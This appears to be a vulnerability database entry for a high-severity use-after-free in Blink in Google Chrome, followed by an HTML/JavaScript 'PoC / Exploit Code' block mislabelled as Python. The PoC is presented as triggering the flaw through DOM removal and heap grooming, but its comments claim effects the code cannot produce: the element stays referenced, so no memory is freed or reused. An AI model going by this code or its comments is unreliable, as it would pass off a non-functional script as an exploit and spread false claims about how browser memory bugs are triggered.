Use after free in Blink in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.55
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-5872: Use after free in Blink
This script attempts to trigger the vulnerability by manipulating DOM elements.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-5872 PoC</title>
</head>
<body>
<script>
// Create a target element
var target = document.createElement('div');
// Function to simulate the Use-After-Free condition
function trigger_uaf() {
// Step 1: Append and remove element to trigger free
document.body.appendChild(target);
document.body.removeChild(target);
// Step 2: Heap grooming to occupy the freed memory
var buffers = [];
for (var i = 0; i < 1000; i++) {
buffers.push(new Uint8Array(0x100));
}
// Step 3: Access the freed object (The Use-After-Free)
// In a real exploit, this would execute arbitrary code.
try {
target.innerHTML = "Exploit Test";
console.log("UAF Triggered: Object accessed after free.");
} catch (e) {
console.log("Error occurred: " + e.message);
}
}
// Trigger the exploit on load
window.onload = trigger_uaf;
</script>
</body>
</html>